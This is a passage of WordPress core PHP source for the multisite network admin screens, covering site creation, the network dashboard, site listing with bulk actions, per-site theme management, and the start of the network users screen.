	if ( empty( $domain ) ) {
		wp_die( __( 'Missing or invalid site address.' ) );
	}

	if ( isset( $blog['email'] ) && '' === trim( $blog['email'] ) ) {
		wp_die( __( 'Missing email address.' ) );
	}

	$email = sanitize_email( $blog['email'] );
	if ( ! is_email( $email ) ) {
		wp_die( __( 'Invalid email address.' ) );
	}

	if ( is_subdomain_install() ) {
		$newdomain = $domain . '.' . preg_replace( '|^www\.|', '', get_network()->domain );
		$path      = get_network()->path;
	} else {
		$newdomain = get_network()->domain;
		$path      = get_network()->path . $domain . '/';
	}

	$password = 'N/A';
	$user_id  = email_exists( $email );
	if ( ! $user_id ) { // Create a new user with a random password.
		/**
		 * Fires immediately before a new user is created via the network site-new.php page.
		 *
		 * @since 4.5.0
		 *
		 * @param string $email Email of the non-existent user.
		 */
		do_action( 'pre_network_site_new_created_user', $email );

		$user_id = username_exists( $domain );
		if ( $user_id ) {
			wp_die( __( 'The domain or path entered conflicts with an existing username.' ) );
		}
		$password = wp_generate_password( 12, false );
		$user_id  = wpmu_create_user( $domain, $password, $email );
		if ( false === $user_id ) {
			wp_die( __( 'There was an error creating the user.' ) );
		}

		/**
		 * Fires after a new user has been created via the network site-new.php page.
		 *
		 * @since 4.4.0
		 *
		 * @param int $user_id ID of the newly created user.
		 */
		do_action( 'network_site_new_created_user', $user_id );
	}

	$wpdb->hide_errors();
	$id = wpmu_create_blog( $newdomain, $path, $title, $user_id, $meta, get_current_network_id() );
	$wpdb->show_errors();

	if ( ! is_wp_error( $id ) ) {
		if ( ! is_super_admin( $user_id ) && ! get_user_option( 'primary_blog', $user_id ) ) {
			update_user_option( $user_id, 'primary_blog', $id, true );
		}

		wpmu_new_site_admin_notification( $id, $user_id );
		wpmu_welcome_notification( $id, $user_id, $password, $title, array( 'public' => 1 ) );
		wp_redirect(
			add_query_arg(
				array(
					'update' => 'added',
					'id'     => $id,
				),
				'site-new.php'
			)
		);
		exit;
	} else {
		wp_die( $id->get_error_message() );
	}
}

if ( isset( $_GET['update'] ) ) {
	$messages = array();
	if ( 'added' === $_GET['update'] ) {
		$messages[] = sprintf(
			/* translators: 1: Dashboard URL, 2: Network admin edit URL. */
			__( 'Site added. <a href="%1$s">Visit Dashboard</a> or <a href="%2$s">Edit Site</a>' ),
			esc_url( get_admin_url( absint( $_GET['id'] ) ) ),
			network_admin_url( 'site-info.php?id=' . absint( $_GET['id'] ) )
		);
	}
}

// Used in the HTML title tag.
$title       = __( 'Add New Site' );
$parent_file = 'sites.php';

wp_enqueue_script( 'user-suggest' );

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 id="add-new-site"><?php _e( 'Add New Site' ); ?></h1>
<?php
if ( ! empty( $messages ) ) {
	$notice_args = array(
		'type'        => 'success',
		'dismissible' => true,
		'id'          => 'message',
	);

	foreach ( $messages as $msg ) {
		wp_admin_notice( $msg, $notice_args );
	}
}
?>
<p><?php echo wp_required_field_message(); ?></p>
<form method="post" action="<?php echo esc_url( network_admin_url( 'site-new.php?action=add-site' ) ); ?>" novalidate="novalidate">
<?php wp_nonce_field( 'add-blog', '_wpnonce_add-blog' ); ?>
	<table class="form-table" role="presentation">
		<tr class="form-field form-required">
			<th scope="row">
				<label for="site-address">
					<?php
					_e( 'Site Address (URL)' );
					echo ' ' . wp_required_field_indicator();
					?>
				</label>
			</th>
			<td>
			<?php if ( is_subdomain_install() ) { ?>
				<input name="blog[domain]" type="text" class="regular-text ltr" id="site-address" aria-describedby="site-address-desc" autocapitalize="none" autocorrect="off" required /><span class="no-break">.<?php echo preg_replace( '|^www\.|', '', get_network()->domain ); ?></span>
				<?php
			} else {
				echo get_network()->domain . get_network()->path
				?>
				<input name="blog[domain]" type="text" class="regular-text ltr" id="site-address" aria-describedby="site-address-desc" autocapitalize="none" autocorrect="off" required />
				<?php
			}
			echo '<p class="description" id="site-address-desc">' . __( 'Only lowercase letters (a-z), numbers, and hyphens are allowed.' ) . '</p>';
			?>
			</td>
		</tr>
		<tr class="form-field form-required">
			<th scope="row">
				<label for="site-title">
					<?php
					_e( 'Site Title' );
					echo ' ' . wp_required_field_indicator();
					?>
				</label>
			</th>
			<td><input name="blog[title]" type="text" class="regular-text" id="site-title" required /></td>
		</tr>
		<?php
		$languages    = get_available_languages();
		$translations = wp_get_available_translations();
		if ( ! empty( $languages ) || ! empty( $translations ) ) :
			?>
			<tr class="form-field form-required">
				<th scope="row"><label for="site-language"><?php _e( 'Site Language' ); ?></label></th>
				<td>
					<?php
					// Network default.
					$lang = get_site_option( 'WPLANG' );

					// Use English if the default isn't available.
					if ( ! in_array( $lang, $languages, true ) ) {
						$lang = '';
					}

					wp_dropdown_languages(
						array(
							'name'                        => 'WPLANG',
							'id'                          => 'site-language',
							'selected'                    => $lang,
							'languages'                   => $languages,
							'translations'                => $translations,
							'show_available_translations' => current_user_can( 'install_languages' ) && wp_can_install_language_pack(),
						)
					);
					?>
				</td>
			</tr>
		<?php endif; // Languages. ?>
		<tr class="form-field form-required">
			<th scope="row">
				<label for="admin-email">
					<?php
					_e( 'Admin Email' );
					echo ' ' . wp_required_field_indicator();
					?>
				</label>
			</th>
			<td><input name="blog[email]" type="email" class="regular-text wp-suggest-user" id="admin-email" data-autocomplete-type="search" data-autocomplete-field="user_email" aria-describedby="site-admin-email" required /></td>
		</tr>
		<tr class="form-field">
			<td colspan="2" class="td-full"><p id="site-admin-email"><?php _e( 'A new user will be created if the above email address is not in the database.' ); ?><br /><?php _e( 'The username and a link to set the password will be mailed to this email address.' ); ?></p></td>
		</tr>
	</table>

	<?php
	/**
	 * Fires at the end of the new site form in network admin.
	 *
	 * @since 4.5.0
	 */
	do_action( 'network_site_new_form' );

	submit_button( __( 'Add Site' ), 'primary', 'add-site' );
	?>
	</form>
</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Multisite administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/** Load WordPress dashboard API */
require_once ABSPATH . 'wp-admin/includes/dashboard.php';

if ( ! current_user_can( 'manage_network' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

// Used in the HTML title tag.
$title       = __( 'Dashboard' );
$parent_file = 'index.php';

$overview  = '<p>' . __( 'Welcome to your Network Admin. This area of the Administration Screens is used for managing all aspects of your Multisite Network.' ) . '</p>';
$overview .= '<p>' . __( 'From here you can:' ) . '</p>';
$overview .= '<ul><li>' . __( 'Add and manage sites or users' ) . '</li>';
$overview .= '<li>' . __( 'Install and activate themes or plugins' ) . '</li>';
$overview .= '<li>' . __( 'Update your network' ) . '</li>';
$overview .= '<li>' . __( 'Modify global network settings' ) . '</li></ul>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => $overview,
	)
);

$quick_tasks  = '<p>' . __( 'The Right Now widget on this screen provides current user and site counts on your network.' ) . '</p>';
$quick_tasks .= '<ul><li>' . __( 'To add a new user, <strong>click Create a New User</strong>.' ) . '</li>';
$quick_tasks .= '<li>' . __( 'To add a new site, <strong>click Create a New Site</strong>.' ) . '</li></ul>';
$quick_tasks .= '<p>' . __( 'To search for a user or site, use the search boxes.' ) . '</p>';
$quick_tasks .= '<ul><li>' . __( 'To search for a user, <strong>enter an email address or username</strong>. Use a wildcard to search for a partial username, such as user&#42;.' ) . '</li>';
$quick_tasks .= '<li>' . __( 'To search for a site, <strong>enter the path or domain</strong>.' ) . '</li></ul>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'quick-tasks',
		'title'   => __( 'Quick Tasks' ),
		'content' => $quick_tasks,
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/network-admin/">Documentation on the Network Admin</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

wp_dashboard_setup();

wp_enqueue_script( 'dashboard' );
wp_enqueue_script( 'plugin-install' );
add_thickbox();

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>

<div id="dashboard-widgets-wrap">

<?php wp_dashboard(); ?>

<div class="clear"></div>
</div><!-- dashboard-widgets-wrap -->

</div><!-- wrap -->

<?php
wp_print_community_events_templates();
require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Network Freedoms administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.4.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/freedoms.php';
<?php
/**
 * Network Contribute administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 6.3.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/contribute.php';
<?php
/**
 * Multisite sites administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$wp_list_table = _get_list_table( 'WP_MS_Sites_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();

// Used in the HTML title tag.
$title       = __( 'Sites' );
$parent_file = 'sites.php';

add_screen_option( 'per_page' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'Add New takes you to the Add New Site screen. You can search for a site by Name, ID number, or IP address. Screen Options allows you to choose how many sites to display on one page.' ) . '</p>' .
			'<p>' . __( 'This is the main table of all sites on this network. Switch between list and excerpt views by using the icons above the right side of the table.' ) . '</p>' .
			'<p>' . __( 'Hovering over each site reveals seven options (three for the primary site):' ) . '</p>' .
			'<ul><li>' . __( 'An Edit link to a separate Edit Site screen.' ) . '</li>' .
			'<li>' . __( 'Dashboard leads to the Dashboard for that site.' ) . '</li>' .
			'<li>' . __( 'Deactivate, Archive, and Spam which lead to confirmation screens. These actions can be reversed later.' ) . '</li>' .
			'<li>' . __( 'Delete which is a permanent action after the confirmation screens.' ) . '</li>' .
			'<li>' . __( 'Visit to go to the front-end site live.' ) . '</li></ul>' .
			'<p>' . __( 'The site ID is used internally, and is not shown on the front end of the site or to users/viewers.' ) . '</p>' .
			'<p>' . __( 'Clicking on bold headings can re-sort this table.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/network-admin-sites-screen/">Documentation on Site Management</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_pagination' => __( 'Sites list navigation' ),
		'heading_list'       => __( 'Sites list' ),
	)
);

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( isset( $_GET['action'] ) ) {
	/** This action is documented in wp-admin/network/edit.php */
	do_action( 'wpmuadminedit' );

	// A list of valid actions and their associated messaging for confirmation output.
	$manage_actions = array(
		/* translators: %s: Site URL. */
		'activateblog'   => __( 'You are about to activate the site %s.' ),
		/* translators: %s: Site URL. */
		'deactivateblog' => __( 'You are about to deactivate the site %s.' ),
		/* translators: %s: Site URL. */
		'unarchiveblog'  => __( 'You are about to unarchive the site %s.' ),
		/* translators: %s: Site URL. */
		'archiveblog'    => __( 'You are about to archive the site %s.' ),
		/* translators: %s: Site URL. */
		'unspamblog'     => __( 'You are about to unspam the site %s.' ),
		/* translators: %s: Site URL. */
		'spamblog'       => __( 'You are about to mark the site %s as spam.' ),
		/* translators: %s: Site URL. */
		'deleteblog'     => __( 'You are about to delete the site %s.' ),
		/* translators: %s: Site URL. */
		'unmatureblog'   => __( 'You are about to mark the site %s as mature.' ),
		/* translators: %s: Site URL. */
		'matureblog'     => __( 'You are about to mark the site %s as not mature.' ),
	);

	if ( 'confirm' === $_GET['action'] ) {
		// The action2 parameter contains the action being taken on the site.
		$site_action = $_GET['action2'];

		if ( ! array_key_exists( $site_action, $manage_actions ) ) {
			wp_die( __( 'The requested action is not valid.' ) );
		}

		// The mature/unmature UI exists only as external code. Check the "confirm" nonce for backward compatibility.
		if ( 'matureblog' === $site_action || 'unmatureblog' === $site_action ) {
			check_admin_referer( 'confirm' );
		} else {
			check_admin_referer( $site_action . '_' . $id );
		}

		if ( ! headers_sent() ) {
			nocache_headers();
			header( 'Content-Type: text/html; charset=utf-8' );
		}

		if ( is_main_site( $id ) ) {
			wp_die( __( 'Sorry, you are not allowed to change the current site.' ) );
		}

		$site_details = get_site( $id );
		$site_address = untrailingslashit( $site_details->domain . $site_details->path );

		require_once ABSPATH . 'wp-admin/admin-header.php';
		?>
			<div class="wrap">
				<h1><?php _e( 'Confirm your action' ); ?></h1>
				<form action="sites.php?action=<?php echo esc_attr( $site_action ); ?>" method="post">
					<input type="hidden" name="action" value="<?php echo esc_attr( $site_action ); ?>" />
					<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
					<input type="hidden" name="_wp_http_referer" value="<?php echo esc_attr( wp_get_referer() ); ?>" />
					<?php wp_nonce_field( $site_action . '_' . $id, '_wpnonce', false ); ?>
					<p><?php printf( $manage_actions[ $site_action ], $site_address ); ?></p>
					<?php submit_button( __( 'Confirm' ), 'primary' ); ?>
				</form>
			</div>
		<?php
		require_once ABSPATH . 'wp-admin/admin-footer.php';
		exit;
	} elseif ( array_key_exists( $_GET['action'], $manage_actions ) ) {
		$action = $_GET['action'];
		check_admin_referer( $action . '_' . $id );
	} elseif ( 'allblogs' === $_GET['action'] ) {
		check_admin_referer( 'bulk-sites' );
	}

	$updated_action = '';

	switch ( $_GET['action'] ) {

		case 'deleteblog':
			if ( ! current_user_can( 'delete_sites' ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), '', array( 'response' => 403 ) );
			}

			$updated_action = 'not_deleted';
			if ( 0 !== $id && ! is_main_site( $id ) && current_user_can( 'delete_site', $id ) ) {
				wpmu_delete_blog( $id, true );
				$updated_action = 'delete';
			}
			break;

		case 'delete_sites':
			check_admin_referer( 'ms-delete-sites' );

			foreach ( (array) $_POST['site_ids'] as $site_id ) {
				$site_id = (int) $site_id;

				if ( is_main_site( $site_id ) ) {
					continue;
				}

				if ( ! current_user_can( 'delete_site', $site_id ) ) {
					$site         = get_site( $site_id );
					$site_address = untrailingslashit( $site->domain . $site->path );

					wp_die(
						sprintf(
							/* translators: %s: Site URL. */
							__( 'Sorry, you are not allowed to delete the site %s.' ),
							$site_address
						),
						403
					);
				}

				$updated_action = 'all_delete';
				wpmu_delete_blog( $site_id, true );
			}
			break;

		case 'allblogs':
			if ( isset( $_POST['action'] ) && isset( $_POST['allblogs'] ) ) {
				$doaction = $_POST['action'];

				foreach ( (array) $_POST['allblogs'] as $site_id ) {
					$site_id = (int) $site_id;

					if ( 0 !== $site_id && ! is_main_site( $site_id ) ) {
						switch ( $doaction ) {
							case 'delete':
								require_once ABSPATH . 'wp-admin/admin-header.php';
								?>
								<div class="wrap">
									<h1><?php _e( 'Confirm your action' ); ?></h1>
									<form action="sites.php?action=delete_sites" method="post">
										<input type="hidden" name="action" value="delete_sites" />
										<input type="hidden" name="_wp_http_referer" value="<?php echo esc_attr( wp_get_referer() ); ?>" />
										<?php wp_nonce_field( 'ms-delete-sites', '_wpnonce', false ); ?>
										<p><?php _e( 'You are about to delete the following sites:' ); ?></p>
										<ul class="ul-disc">
											<?php
											foreach ( $_POST['allblogs'] as $site_id ) :
												$site_id = (int) $site_id;

												$site         = get_site( $site_id );
												$site_address = untrailingslashit( $site->domain . $site->path );
												?>
												<li>
													<?php echo $site_address; ?>
													<input type="hidden" name="site_ids[]" value="<?php echo esc_attr( $site_id ); ?>" />
												</li>
											<?php endforeach; ?>
										</ul>
										<?php submit_button( __( 'Confirm' ), 'primary' ); ?>
									</form>
								</div>
								<?php
								require_once ABSPATH . 'wp-admin/admin-footer.php';
								exit;
							break;

							case 'spam':
							case 'notspam':
								$updated_action = ( 'spam' === $doaction ) ? 'all_spam' : 'all_notspam';
								update_blog_status( $site_id, 'spam', ( 'spam' === $doaction ) ? '1' : '0' );
								break;
						}
					} else {
						wp_die( __( 'Sorry, you are not allowed to change the current site.' ) );
					}
				}

				if ( ! in_array( $doaction, array( 'delete', 'spam', 'notspam' ), true ) ) {
					$redirect_to = wp_get_referer();
					$blogs       = (array) $_POST['allblogs'];

					/** This action is documented in wp-admin/network/site-themes.php */
					$redirect_to = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $redirect_to, $doaction, $blogs, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

					wp_safe_redirect( $redirect_to );
					exit;
				}
			} else {
				// Process query defined by WP_MS_Site_List_Table::extra_table_nav().
				$location = remove_query_arg(
					array( '_wp_http_referer', '_wpnonce' ),
					add_query_arg( $_POST, network_admin_url( 'sites.php' ) )
				);

				wp_redirect( $location );
				exit;
			}

			break;

		case 'archiveblog':
		case 'unarchiveblog':
			update_blog_status( $id, 'archived', ( 'archiveblog' === $_GET['action'] ) ? '1' : '0' );
			break;

		case 'activateblog':
			update_blog_status( $id, 'deleted', '0' );

			/**
			 * Fires after a network site is activated.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $id The ID of the activated site.
			 */
			do_action( 'activate_blog', $id );
			break;

		case 'deactivateblog':
			/**
			 * Fires before a network site is deactivated.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $id The ID of the site being deactivated.
			 */
			do_action( 'deactivate_blog', $id );

			update_blog_status( $id, 'deleted', '1' );
			break;

		case 'unspamblog':
		case 'spamblog':
			update_blog_status( $id, 'spam', ( 'spamblog' === $_GET['action'] ) ? '1' : '0' );
			break;

		case 'unmatureblog':
		case 'matureblog':
			update_blog_status( $id, 'mature', ( 'matureblog' === $_GET['action'] ) ? '1' : '0' );
			break;
	}

	if ( empty( $updated_action ) && array_key_exists( $_GET['action'], $manage_actions ) ) {
		$updated_action = $_GET['action'];
	}

	if ( ! empty( $updated_action ) ) {
		wp_safe_redirect( add_query_arg( array( 'updated' => $updated_action ), wp_get_referer() ) );
		exit;
	}
}

$msg = '';
if ( isset( $_GET['updated'] ) ) {
	$action = $_GET['updated'];

	switch ( $action ) {
		case 'all_notspam':
			$msg = __( 'Sites removed from spam.' );
			break;
		case 'all_spam':
			$msg = __( 'Sites marked as spam.' );
			break;
		case 'all_delete':
			$msg = __( 'Sites deleted.' );
			break;
		case 'delete':
			$msg = __( 'Site deleted.' );
			break;
		case 'not_deleted':
			$msg = __( 'Sorry, you are not allowed to delete that site.' );
			break;
		case 'archiveblog':
			$msg = __( 'Site archived.' );
			break;
		case 'unarchiveblog':
			$msg = __( 'Site unarchived.' );
			break;
		case 'activateblog':
			$msg = __( 'Site activated.' );
			break;
		case 'deactivateblog':
			$msg = __( 'Site deactivated.' );
			break;
		case 'unspamblog':
			$msg = __( 'Site removed from spam.' );
			break;
		case 'spamblog':
			$msg = __( 'Site marked as spam.' );
			break;
		default:
			/**
			 * Filters a specific, non-default, site-updated message in the Network admin.
			 *
			 * The dynamic portion of the hook name, `$action`, refers to the non-default
			 * site update action.
			 *
			 * @since 3.1.0
			 *
			 * @param string $msg The update message. Default 'Settings saved'.
			 */
			$msg = apply_filters( "network_sites_updated_message_{$action}", __( 'Settings saved.' ) );
			break;
	}

	if ( ! empty( $msg ) ) {
		$msg = wp_get_admin_notice(
			$msg,
			array(
				'type'        => 'success',
				'dismissible' => true,
				'id'          => 'message',
			)
		);
	}
}

$wp_list_table->prepare_items();

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 class="wp-heading-inline"><?php _e( 'Sites' ); ?></h1>

<?php if ( current_user_can( 'create_sites' ) ) : ?>
	<a href="<?php echo esc_url( network_admin_url( 'site-new.php' ) ); ?>" class="page-title-action"><?php echo esc_html__( 'Add New Site' ); ?></a>
<?php endif; ?>

<?php
if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) {
	echo '<span class="subtitle">';
	printf(
		/* translators: %s: Search query. */
		__( 'Search results for: %s' ),
		'<strong>' . esc_html( $s ) . '</strong>'
	);
	echo '</span>';
}
?>

<hr class="wp-header-end">

<?php $wp_list_table->views(); ?>

<?php echo $msg; ?>

<form method="get" id="ms-search" class="wp-clearfix">
<?php $wp_list_table->search_box( __( 'Search Sites' ), 'site' ); ?>
<input type="hidden" name="action" value="blogs" />
</form>

<form id="form-site-list" action="sites.php?action=allblogs" method="post">
	<?php $wp_list_table->display(); ?>
</form>
</div>
<?php

require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
<?php
/**
 * Install theme network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

if ( isset( $_GET['tab'] ) && ( 'theme-information' === $_GET['tab'] ) ) {
	define( 'IFRAME_REQUEST', true );
}

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/theme-install.php';
<?php
/**
 * Edit user network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/user-edit.php';
<?php
/**
 * Network Privacy administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 4.9.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/privacy.php';
<?php
/**
 * Network Credits administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.4.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/credits.php';
<?php
/**
 * Edit Site Themes Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage themes for this site.' ) );
}

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter site themes list' ),
		'heading_pagination' => __( 'Site themes list navigation' ),
		'heading_list'       => __( 'Site themes list' ),
	)
);

$wp_list_table = _get_list_table( 'WP_MS_Themes_List_Table' );

$action = $wp_list_table->current_action();

$s = isset( $_REQUEST['s'] ) ? $_REQUEST['s'] : '';

// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
$temp_args              = array( 'enabled', 'disabled', 'error' );
$_SERVER['REQUEST_URI'] = remove_query_arg( $temp_args, $_SERVER['REQUEST_URI'] );
$referer                = remove_query_arg( $temp_args, wp_get_referer() );

if ( ! empty( $_REQUEST['paged'] ) ) {
	$referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer );
}

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$wp_list_table->prepare_items();

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$is_main_site = is_main_site( $id );

if ( $action ) {
	switch_to_blog( $id );
	$allowed_themes = get_option( 'allowedthemes' );

	switch ( $action ) {
		case 'enable':
			check_admin_referer( 'enable-theme_' . $_GET['theme'] );
			$theme  = $_GET['theme'];
			$action = 'enabled';
			$n      = 1;
			if ( ! $allowed_themes ) {
				$allowed_themes = array( $theme => true );
			} else {
				$allowed_themes[ $theme ] = true;
			}
			break;
		case 'disable':
			check_admin_referer( 'disable-theme_' . $_GET['theme'] );
			$theme  = $_GET['theme'];
			$action = 'disabled';
			$n      = 1;
			if ( ! $allowed_themes ) {
				$allowed_themes = array();
			} else {
				unset( $allowed_themes[ $theme ] );
			}
			break;
		case 'enable-selected':
			check_admin_referer( 'bulk-themes' );
			if ( isset( $_POST['checked'] ) ) {
				$themes = (array) $_POST['checked'];
				$action = 'enabled';
				$n      = count( $themes );
				foreach ( (array) $themes as $theme ) {
					$allowed_themes[ $theme ] = true;
				}
			} else {
				$action = 'error';
				$n      = 'none';
			}
			break;
		case 'disable-selected':
			check_admin_referer( 'bulk-themes' );
			if ( isset( $_POST['checked'] ) ) {
				$themes = (array) $_POST['checked'];
				$action = 'disabled';
				$n      = count( $themes );
				foreach ( (array) $themes as $theme ) {
					unset( $allowed_themes[ $theme ] );
				}
			} else {
				$action = 'error';
				$n      = 'none';
			}
			break;
		default:
			if ( isset( $_POST['checked'] ) ) {
				check_admin_referer( 'bulk-themes' );
				$themes = (array) $_POST['checked'];
				$n      = count( $themes );
				$screen = get_current_screen()->id;

				/**
				 * Fires when a custom bulk action should be handled.
				 *
				 * The redirect link should be modified with success or failure feedback
				 * from the action to be used to display feedback to the user.
				 *
				 * The dynamic portion of the hook name, `$screen`, refers to the current screen ID.
				 *
				 * @since 4.7.0
				 *
				 * @param string $redirect_url The redirect URL.
				 * @param string $action       The action being taken.
				 * @param array  $items        The items to take the action on.
				 * @param int    $site_id      The site ID.
				 */
				$referer = apply_filters( "handle_network_bulk_actions-{$screen}", $referer, $action, $themes, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
			} else {
				$action = 'error';
				$n      = 'none';
			}
	}

	update_option( 'allowedthemes', $allowed_themes );
	restore_current_blog();

	wp_safe_redirect(
		add_query_arg(
			array(
				'id'    => $id,
				$action => $n,
			),
			$referer
		)
	);
	exit;
}

if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) {
	wp_safe_redirect( $referer );
	exit;
}

add_thickbox();
add_screen_option( 'per_page' );

// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>
<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-themes',
	)
);

if ( isset( $_GET['enabled'] ) ) {
	$enabled = absint( $_GET['enabled'] );
	if ( 1 === $enabled ) {
		$message = __( 'Theme enabled.' );
	} else {
		/* translators: %s: Number of themes. */
		$message = _n( '%s theme enabled.', '%s themes enabled.', $enabled );
	}

	wp_admin_notice(
		sprintf( $message, number_format_i18n( $enabled ) ),
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
} elseif ( isset( $_GET['disabled'] ) ) {
	$disabled = absint( $_GET['disabled'] );
	if ( 1 === $disabled ) {
		$message = __( 'Theme disabled.' );
	} else {
		/* translators: %s: Number of themes. */
		$message = _n( '%s theme disabled.', '%s themes disabled.', $disabled );
	}

	wp_admin_notice(
		sprintf( $message, number_format_i18n( $disabled ) ),
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
} elseif ( isset( $_GET['error'] ) && 'none' === $_GET['error'] ) {
	wp_admin_notice(
		__( 'No theme selected.' ),
		array(
			'type'        => 'error',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}
?>

<p><?php _e( 'Network enabled themes are not shown on this screen.' ); ?></p>

<form method="get">
<?php $wp_list_table->search_box( __( 'Search Installed Themes' ), 'theme' ); ?>
<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
</form>

<?php $wp_list_table->views(); ?>

<form method="post" action="site-themes.php?action=update-site">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />

<?php $wp_list_table->display(); ?>

</form>

</div>
<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
<?php
/**
 * Multisite users administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_network_users' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

if ( isset( $_GET['action'] ) ) {
	/** This action is documented in wp-admin/network/edit.php */
	do_action( 'wpmuadminedit' );

	switch ( $_GET['action'] ) {
		case 'deleteuser':
			if ( ! current_user_can( 'manage_network_users' ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
			}

			check_admin_referer( 'deleteuser' );

			$id = (int) $_GET['id'];
			if ( $id > 1 ) {
				$_POST['allusers'] = array( $id ); // confirm_delete_users() can only handle arrays.

				// Used in the HTML title tag.
				$title       = __( 'Users' );
				$parent_file = 'users.php';

				require_once ABSPATH . 'wp-admin/admin-header.php';

				echo '<div class="wrap">';
				confirm_delete_users( $_POST['allusers'] );
				echo '</div>';

				require_once ABSPATH . 'wp-admin/admin-footer.php';
			} else {
				wp_redirect( network_admin_url( 'users.php' ) );
			}
			exit;

		case 'allusers':
			if ( ! current_user_can( 'manage_network_users' ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
			}

